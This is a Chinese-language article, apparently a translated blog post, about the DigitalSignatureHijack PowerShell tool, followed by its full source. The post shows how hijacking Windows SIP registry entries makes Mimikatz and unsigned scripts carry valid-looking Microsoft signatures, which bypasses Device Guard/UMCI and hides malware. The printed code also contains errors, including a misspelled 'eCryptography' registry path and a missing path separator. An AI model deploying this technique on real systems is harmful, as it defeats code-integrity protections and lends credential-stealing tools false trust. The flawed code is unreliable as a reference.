导语:劫持数字签名是一种可用于绕过设备保护限制,以及在red team评估过程中隐藏自定义恶意软件的技术。
劫持数字签名是一种可用于绕过设备保护限制,以及在red team评估过程中隐藏自定义恶意软件的技术。Matt Graeber在他的研究中发现了如何绕过数字签名散列验证的方法,并且在他发布的文章中详细描述了所有的细节。基于这些信息,Digital SignatureHijack脚本的开发是为了使这项技术完全自动化。前面的文章已经描述了有关劫持数字签名的更多信息。
一般信息
DigitalSignatureHijack基于PowerShell编写,可以从具有管理权限的PowerShell控制台执行。这个想法是通过只执行四个命令来快速地对PowerShell脚本和可移植可执行文件进行数字签名而来的。
命令
该脚本接受以下命令:
· SignExe – 数字签名的PE可执行文件
· SignPS – 数字签名PowerShell脚本
· ValidateSignaturePE – PE可执行文件的签名验证
· ValidateSignaturePS – PowerShell脚本的签名验证
依赖
DigitalSignature-Hijack依赖于Matt Graeber开发的自定义SIP(Subject Interface Package)dll文件。因此,需要将其存储在目标系统的某个位置,并且需要使用该DLL文件的新位置来更新脚本,否则注册表劫持将不起作用。
演示
以下是可用于对主机上存在的所有PowerShell脚本和PE可执行文件进行数字签名的命令列表。
Import-Module .\DigitalSignature-Hijack.ps1 SignExe SignPS ValidateSignaturePE ValidateSignaturePS
对二进制文件进行签名:
Mimikatz是一个可以从内存转储凭据的二进制程序。它不是Windows的一部分,也不是由微软数字签名的可执行程序。

未签名的Mimikatz
执行SignExe命令后,Mimikatz就带有了微软官方验证可通过的证书。

对Mimikatz进行签名
签名验证:
劫持合法的证书将会出现散列不匹配的错误,因此数字签名将无法验证。

对Mimikatz进行签名- 无效签名
执行ValidateSignaturePE命令将正确验证存储在系统上的所有PE可执行文件的数字签名散列。

对Mimikatz进行签名 – 有效签名
签署PowerShell脚本:
DigitalSignature-Hijack PowerShell脚本未签名。因此,在实施设备防护UMCI(用户模式代码完整性)的情况下,需要对其进行签名。

未签名的PowerShell脚本
执行命令SignPS将为Microsoft PowerShell脚本提供一个Microsoft证书。

签名的PowerShell脚本
签名验证:
与PE可执行文件一样,Microsoft也正在对PowerShell脚本的数字签名进行散列验证。

PowerShell脚本 – 无效的签名
执行命令ValidateSignaturePS将绕过散列验证,因此数字签名将显示为有效。

PowerShell脚本 – 有效签名
下载
DigitalSignatureHijack脚本可以在以下位置中找到:
· 数字签名劫持
· https://github.com/netbiosX/Digital-Signature-Hijack
<#
DigitalSignatureHijack v1.0
License: GPLv3
Author: @netbiosX
#>
# Validate Digital Signature for PowerShell Scripts
function ValidateSignaturePS
{
$ValidateHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'
# PowerShell SIP Guid
$PSIPGuid = '{603BCC1F-4B59-4E08-B724-D2C6297EF351}'
$PSSignatureValidation = Get-Item -Path "$ValidateHashFunc\$PSIPGuid\"
$NewDll = 'C:\Users\User\Desktop\Signature Signing\Binaries\MySIP.dll'
$NewFuncName = 'AutoApproveHash'
$PSSignatureValidation | Set-ItemProperty -Name Dll -Value $NewDll
$PSSignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncName
}
# Validate Digital Signature for Portable Executables
function ValidateSignaturePE
{
$ValidateHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'
# PE SIP Guid
$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'
$PESignatureValidation = Get-Item -Path "$ValidateHashFunc\$PESIPGuid\"
$NewDll = 'C:\Windows\System32\ntdll.dll'
$NewFuncName = 'DbgUiContinue'
$PESignatureValidation | Set-ItemProperty -Name Dll -Value $NewDll
$PESignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncName
}
# Sign PowerShell Scripts with a Microsoft Certificate
function SignPS
{
$GetCertFunc = 'HKLM:\SOFTWARE\Microsoft\eCryptography' +'\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg'
# PowerShell SIP Guid
$PSIPGuid = '{603BCC1F-4B59-4E08-B724-D2C6297EF351}'
$PEGetMSCert = Get-Item -Path "$GetCertFunc\$PSIPGuid\"
$NewDll = 'C:\Users\User\Desktop\Signature Signing\Binaries\MySIP.dll'
$NewFuncName = 'GetLegitMSSignature'
$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDll
$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncName
}
# Sign Portable Executables with a Microsoft Certificate
function SignExe
{
$GetCertFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg'
# PE SIP Guid
$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'
$PEGetMSCert = Get-Item -Path "$GetCertFunc$PESIPGuid"
$NewDll = 'C:\Users\User\Desktop\Signature Signing\Binaries\MySIP.dll'
$NewFuncName = 'GetLegitMSSignature'
$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDll
$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncName
}